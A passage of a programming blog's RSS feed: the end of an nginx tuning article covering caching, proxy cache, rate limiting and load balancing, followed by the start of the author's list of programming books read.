data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# /etc/nginx/nginx.conf&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;keepalive_timeout 65;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;cache-in-nginx&#34;&gt;Cache in Nginx&lt;/h2&gt;&#xA;&lt;p&gt;Using cache can greatly improve the performance of your server. To enable cache just &lt;strong&gt;add the word &lt;em&gt;expires&lt;/em&gt;&lt;/strong&gt;, followed by the duration to the resources you want to cache.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;location /static/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    root /app/static/;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    expires 30d; &lt;span style=&#34;color:#78787e&#34;&gt;# También hubiera funcionado 1M&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I have placed 30 days, but you can use any other value you prefer.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Abbr&lt;/th&gt;&#xA;          &lt;th&gt;Meaning&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;ms&lt;/td&gt;&#xA;          &lt;td&gt;miliseconds&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;s&lt;/td&gt;&#xA;          &lt;td&gt;seconds&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;m&lt;/td&gt;&#xA;          &lt;td&gt;minutes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;h&lt;/td&gt;&#xA;          &lt;td&gt;hours&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;d&lt;/td&gt;&#xA;          &lt;td&gt;days&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;w&lt;/td&gt;&#xA;          &lt;td&gt;weeks&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;M&lt;/td&gt;&#xA;          &lt;td&gt;months, 30 days&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;y&lt;/td&gt;&#xA;          &lt;td&gt;years, 365 days&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Information taken from official documentation &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://nginx.org/en/docs/syntax.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;http://nginx.org/en/docs/syntax.html&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;If you make a web request to the path being cached you should receive a cache-control header with the time in seconds you specified (In my case 2592000 seconds, which is 30 days). Make sure you reload the server.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -I https://tu-sitio-web.com/static/imagen.jpg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cache-control: max-age&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2592000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;creating-an-upstream-cache&#34;&gt;Creating an upstream cache&lt;/h2&gt;&#xA;&lt;p&gt;First let&amp;rsquo;s create the path where the cache will be stored, in this case we go directly to the path &lt;em&gt;/var/cache/&lt;/em&gt;, but it could be anywhere else.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;proxy_cache_path /var/cache/nginx &lt;span style=&#34;color:#ff5c57&#34;&gt;levels&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1:2 &lt;span style=&#34;color:#ff5c57&#34;&gt;keys_zone&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;cache:10m &lt;span style=&#34;color:#ff5c57&#34;&gt;inactive&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;60m;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;em&gt;inactive&lt;/em&gt; argument of proxy_cache_path sets the time the response will be stored in the cache after its last use.&lt;/p&gt;&#xA;&lt;p&gt;And now let&amp;rsquo;s add the necessary headers so that the browser understands that it has to store the response.&lt;/p&gt;&#xA;&lt;p&gt;Using the &lt;em&gt;proxy_cache_valid&lt;/em&gt; directive we give a validity to the response, before that time elapses, the response will still be considered valid and will be returned without querying the backend.&lt;/p&gt;&#xA;&lt;p&gt;It is important to note that &lt;em&gt;proxy_cache_path&lt;/em&gt; must have an idle time greater than the expiration time of the requests (proxy_cache_valid).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;location /url &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    proxy_set_header X-Forwarded-For &lt;span style=&#34;color:#ff5c57&#34;&gt;$proxy_add_x_forwarded_for&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    proxy_set_header Host &lt;span style=&#34;color:#ff5c57&#34;&gt;$host&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    proxy_redirect off;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    proxy_buffering off;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    proxy_cache cache;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    proxy_cache_valid any 2h; &lt;span style=&#34;color:#78787e&#34;&gt;# 200 instead of any is also valid&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    add_header X-Proxy-Cache &lt;span style=&#34;color:#ff5c57&#34;&gt;$upstream_cache_status&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;implement-throttling-in-nginx&#34;&gt;Implement Throttling in Nginx&lt;/h2&gt;&#xA;&lt;p&gt;If there are some clients that make a lot of requests, keeping your server busy and affecting the rest of the users, you can implement Throttling to limit their impact. If you want to know more about it, I have a post where I talk about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/throttling-on-nginx/&#34;&gt;Throttling in Nginx&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;limit_req_zone &lt;span style=&#34;color:#ff5c57&#34;&gt;$binary_remote_addr&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;zone&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;mylimit:10m &lt;span style=&#34;color:#ff5c57&#34;&gt;rate&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;5r/s;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    location /api/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        limit_req &lt;span style=&#34;color:#ff5c57&#34;&gt;zone&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;mylimit &lt;span style=&#34;color:#ff5c57&#34;&gt;burst&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt; nodelay;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        proxy_pass http://my_upstream;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;use-nginx-load-balancer&#34;&gt;Use nginx load balancer&lt;/h2&gt;&#xA;&lt;p&gt;Nginx has a load balancer that allows you to distribute the load of your server among different endpoints. The simplest mechanism will use the round robin method, which will allow you to handle more requests.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;upstream frontend &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    server 127.0.0.1:3000;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    server 127.0.0.1:3001;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    server 127.0.0.1:3002;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;// ...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;location / &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    proxy_pass http://frontend&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the above example, the first request will be passed to port 3000, the second to port 3001 and the third to port 3002, the fourth will return to port 3000 and so on.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Some months ago I was reviewing the Lighthouse settings for a website when I realized that it did not comply with certain recommendations, it was using http/1.1, no gzip compression, no cache. Later I fixed the problems, I&amp;rsquo;ll tell you how below. In this post I talk about the following nginx features: keepalive, gzip, cache and http2 and how you can modify them to improve your &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://web.dev/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Lighthouse&lt;/a&gt;&#xA; values.&lt;/p&gt;&#xA;&lt;h2 id=&#34;activate-http2-in-nginx&#34;&gt;Activate http2 in nginx&lt;/h2&gt;&#xA;&lt;p&gt;As surprising as it may sound, many servers do not enable HTTP/2 by default, so if this is your case, you can enable it for better performance. The HTTP/2 protocol is more efficient than HTTP/1, so you get better indicators using it.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Books I read</title>
      <link>https://coffeebytes.dev/en/pages/books-i-read-and-reviews/</link>
      <pubDate>Thu, 05 Nov 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/pages/books-i-read-and-reviews/</guid>
      
      
      
      
      
      <content:encoded>&lt;h2 id=&#34;currently-reading&#34;&gt;Currently reading&lt;/h2&gt;&#xA;&lt;p&gt;I&amp;rsquo;m currently reading:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1762554573/coffee-bytes/system-design-interview-ii-book-cover-350_ygf5mc.jpg&#34; aria-label=&#34;System design Interview Part II&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1762554573/coffee-bytes/system-design-interview-ii-book-cover-350_ygf5mc.jpg&#34; alt=&#34;System design Interview Part II&#34;/&gt;&#xA;    &lt;figcaption&gt;System design Interview Part II&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;books-i-read&#34;&gt;Books I read&lt;/h2&gt;&#xA;&lt;p&gt;The list below contains almost all the books I&amp;rsquo;ve read about programming and web development. Most of them are written in English, some others in Spanish (It&amp;rsquo;s arduous to find good technical books written in spanish). .&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve reviewed some of them, I hope to review most of them in the near future, before they become obsolete.&lt;/p&gt;&#xA;&lt;p&gt;By the way, the books are not in any particular order.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-rust-programming-language-book.jpg&#34; aria-label=&#34;The rust programming language book&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-rust-programming-language-book.jpg&#34; alt=&#34;The rust programming language book&#34;/&gt;&#xA;    &lt;figcaption&gt;The rust programming language book&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/sicp-js.jpg&#34; aria-label=&#34;Structure and interpretation of computer programs: Gerald Sussman, Hal Abelson, Julie Sussman&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/sicp-js.jpg&#34; alt=&#34;Structure and interpretation of computer programs: Gerald Sussman, Hal Abelson, Julie Sussman&#34;/&gt;&#xA;    &lt;figcaption&gt;Structure and interpretation of computer programs: Gerald Sussman, Hal Abelson, Julie Sussman&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/kubernetes-up-and-running.jpg&#34; aria-label=&#34;Kubernetes: Up and Running: Dive Into the Future of Infrastructure by Brendan Burns, Joe Beda &amp;amp; Kelsey Hightower&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/kubernetes-up-and-running.jpg&#34; alt=&#34;Kubernetes: Up and Running: Dive Into the Future of Infrastructure by Brendan Burns, Joe Beda &amp;amp; Kelsey Hightower&#34;/&gt;&#xA;    &lt;figcaption&gt;Kubernetes: Up and Running: Dive Into the Future of Infrastructure by Brendan Burns, Joe Beda &amp;amp; Kelsey Hightower&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/refactoring.jpg&#34; aria-label=&#34;Refactoring by Martin Fowler&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/refactoring.jpg&#34; alt=&#34;Refactoring by Martin Fowler&#34;/&gt;&#xA;    &lt;figcaption&gt;Refactoring by Martin Fowler&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/computer-science-distilled.jpg&#34; aria-label=&#34;Computer Science Distilled: Learn the Art of Solving Computational Problems by Wladston Ferreira Filho&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/computer-science-distilled.jpg&#34; alt=&#34;Computer Science Distilled: Learn the Art of Solving Computational Problems by Wladston Ferreira Filho&#34;/&gt;&#xA;    &lt;figcaption&gt;Computer Science Distilled: Learn the Art of Solving Computational Problems by Wladston Ferreira Filho&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg&#34; aria-label=&#34;System design interview by Alex Xu&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg&#34; alt=&#34;System design interview by Alex Xu&#34;/&gt;&#xA;    &lt;figcaption&gt;System design interview by Alex Xu&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/lets-go-further.jpg&#34; aria-label=&#34;Let&amp;rsquo;s Go Further by Alex Edwards&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/lets-go-further.jpg&#34; alt=&#34;Let&amp;rsquo;s Go Further by Alex Edwards&#34;/&gt;&#xA;    &lt;figcaption&gt;Let&amp;#39;s Go Further by Alex Edwards&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/professor-frisby.jpg&#34; aria-label=&#34;Professor Frisby&amp;rsquo;s mostly adequate guide to functional programming by Brian Lonsdorf&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/professor-frisby.jpg&#34; alt=&#34;Professor Frisby&amp;rsquo;s mostly adequate guide to functional programming by Brian Lonsdorf&#34;/&gt;&#xA;    &lt;figcaption&gt;Professor Frisby&amp;#39;s mostly adequate guide to functional programming by Brian Lonsdorf&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/build-apis-you-wont-hate.jpg&#34; aria-label=&#34;Build APIs You Won&amp;rsquo;t Hate by Phil Sturgeon&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/build-apis-you-wont-hate.jpg&#34; alt=&#34;Build APIs You Won&amp;rsquo;t Hate by Phil Sturgeon&#34;/&gt;&#xA;    &lt;figcaption&gt;Build APIs You Won&amp;#39;t Hate by Phil Sturgeon&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/rest-api-design.jpg&#34; aria-label=&#34;REST API Design Rulebook by Mark Masse&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/rest-api-design.jpg&#34; alt=&#34;REST API Design Rulebook by Mark Masse&#34;/&gt;&#xA;    &lt;figcaption&gt;REST API Design Rulebook by Mark Masse&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg&#34; aria-label=&#34;A Philosophy of Software Design by John Ousterhout&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg&#34; alt=&#34;A Philosophy of Software Design by John Ousterhout&#34;/&gt;&#xA;    &lt;figcaption&gt;A Philosophy of Software Design by John Ousterhout&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/software-architecture-patterns.jpg&#34; aria-label=&#34;Software Architecture Patterns by Mark Richards&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/software-architecture-patterns.jpg&#34; alt=&#34;Software Architecture Patterns by Mark Richards&#34;/&gt;&#xA;    &lt;figcaption&gt;Software Architecture Patterns by Mark Richards&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg&#34; aria-label=&#34;How Linux Works, 3rd Edition What Every Superuser Should Know by Brian Ward&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg&#34; alt=&#34;How Linux Works, 3rd Edition What Every Superuser Should Know by Brian Ward&#34;/&gt;&#xA;    &lt;figcaption&gt;How Linux Works, 3rd Edition What Every Superuser Should Know by Brian Ward&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/dive-into-python.jpg&#34; aria-label=&#34;Dive into Python by Mark Pilgrim (traducción by José Miguel González Aguilera)&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/dive-into-python.jpg&#34; alt=&#34;Dive into Python by Mark Pilgrim (traducción by José Miguel González Aguilera)&#34;/&gt;&#xA;    &lt;figcaption&gt;Dive into Python by Mark Pilgrim (traducción by José Miguel González Aguilera)&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/beginning-python.jpg&#34; aria-label=&#34;Beginning Python: From Novice to Professional by Magnues Lie Hetland&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/beginning-python.jpg&#34; alt=&#34;Beginning Python: From Novice to Professional by Magnues Lie Hetland&#34;/&gt;&#xA;    &lt;figcaption&gt;Beginning Python: From Novice to Professional by Magnues Lie Hetland&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/cracking-codes-with-python.jpg&#34; aria-label=&#34;Cracking Codes with Python: An Introduction to Building and Breaking Ciphers by Al Sweigart&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/cracking-codes-with-python.jpg&#34; alt=&#34;Cracking Codes with Python: An Introduction to Building and Breaking Ciphers by Al Sweigart&#34;/&gt;&#xA;    &lt;figcaption&gt;Cracking Codes with Python: An Introduction to Building and Breaking Ciphers by Al Sweigart&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/practical-python-design-patterns.jpg&#34; aria-label=&#34;Practical Python Design Patterns by Wessel 